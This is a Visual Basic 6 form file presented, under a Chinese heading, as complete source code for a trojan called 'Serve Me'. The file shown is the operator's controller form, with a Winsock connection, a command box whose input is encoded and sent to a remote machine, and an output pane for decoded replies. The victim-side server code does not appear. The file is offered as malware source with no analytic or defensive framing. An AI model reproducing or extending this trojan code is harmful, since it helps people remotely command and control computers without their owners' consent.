frmmain.frm

完整的特洛伊木马 Serve_Me 源代码

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain 
   BackColor       =   &H00000000&
   Caption         =   "Serve Me"
   ClientHeight    =   4785
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   4395
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   4785
   ScaleWidth      =   4395
   StartUpPosition =   3  'Windows Default
   Begin VB.CommandButton Command1 
      Caption         =   "Send"
      Default         =   -1  'True
      Height          =   375
      Left            =   2640
      TabIndex        =   4
      Top             =   4320
      Width           =   1695
   End
   Begin MSWinsockLib.Winsock sock 
      Left            =   2040
      Top             =   2040
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.TextBox txtcmd 
      BackColor       =   &H00000000&
      BeginProperty Font 
         Name            =   "Courier New"
         Size            =   15.75
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00C0FFFF&
      Height          =   465
      Left            =   720
      TabIndex        =   3
      Text            =   "Type here"
      Top             =   3720
      Width           =   3615
   End
   Begin VB.Frame Frame1 
      BackColor       =   &H00000000&
      Caption         =   "Output"
      ForeColor       =   &H00C0FFFF&
      Height          =   3495
      Left            =   120
      TabIndex        =   0
      Top             =   120
      Width           =   4215
      Begin VB.TextBox txtOut 
         BackColor       =   &H00000000&
         BeginProperty Font 
            Name            =   "Courier New"
            Size            =   6
            Charset         =   0
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         ForeColor       =   &H00FFFFC0&
         Height          =   3015
         Left            =   120
         Locked          =   -1  'True
         MultiLine       =   -1  'True
         ScrollBars      =   2  'Vertical
         TabIndex        =   1
         Top             =   240
         Width           =   3975
      End
   End
   Begin VB.Label Label1 
      BackColor       =   &H00000000&
      Caption         =   "Hail to the Lameness of VB"
      BeginProperty Font 
         Name            =   "Courier New"
         Size            =   6
         Charset         =   0
         Weight          =   400
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00C0FFFF&
      Height          =   255
      Left            =   120
      TabIndex        =   5
      Top             =   4680
      Width           =   2055
   End
   Begin VB.Label Label2 
      BackColor       =   &H00000000&
      Caption         =   "Cmd:"
      BeginProperty Font 
         Name            =   "Courier New"
         Size            =   12
         Charset         =   0
         Weight          =   700
         Underline       =   0   'False
         Italic          =   0   'False
         Strikethrough   =   0   'False
      EndProperty
      ForeColor       =   &H00FFFFC0&
      Height          =   375
      Left            =   120
      TabIndex        =   2
      Top             =   3840
      Width           =   615
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command1_Click()
Dim cmd As String
If txtcmd.Text = "cls" Then
txtOut.Text = ""
ElseIf txtcmd.Text = "exit" Then
Unload Me
End
ElseIf txtcmd.Text = "login" Then
sock.Close
frmLogin.Show
Me.Hide
Exit Sub
'ElseIf txtcmd.Text = "?" Then
'frmHelp.Show
Else
cmd = PrepareData(txtcmd.Text)
sock.SendData cmd
End If
txtcmd.Text = ""
End Sub
Private Sub sock_Connect()
MsgBox "Connected"
End Sub
Private Sub sock_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
sock.GetData strData
strData = DecodeData(strData)
txtOut.Text = txtOut.Text & strData & Chr(13) & Chr(10)
End Sub

Private Sub sock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
txtOut.Text = txtOut.Text & "*ERROR* --- " & Number & ":" & Description & Chr(13) & Chr(10)
End Sub

Private Sub txtOut_Change()
txtOut.SelStart = Len(txtOut.Text)
End Sub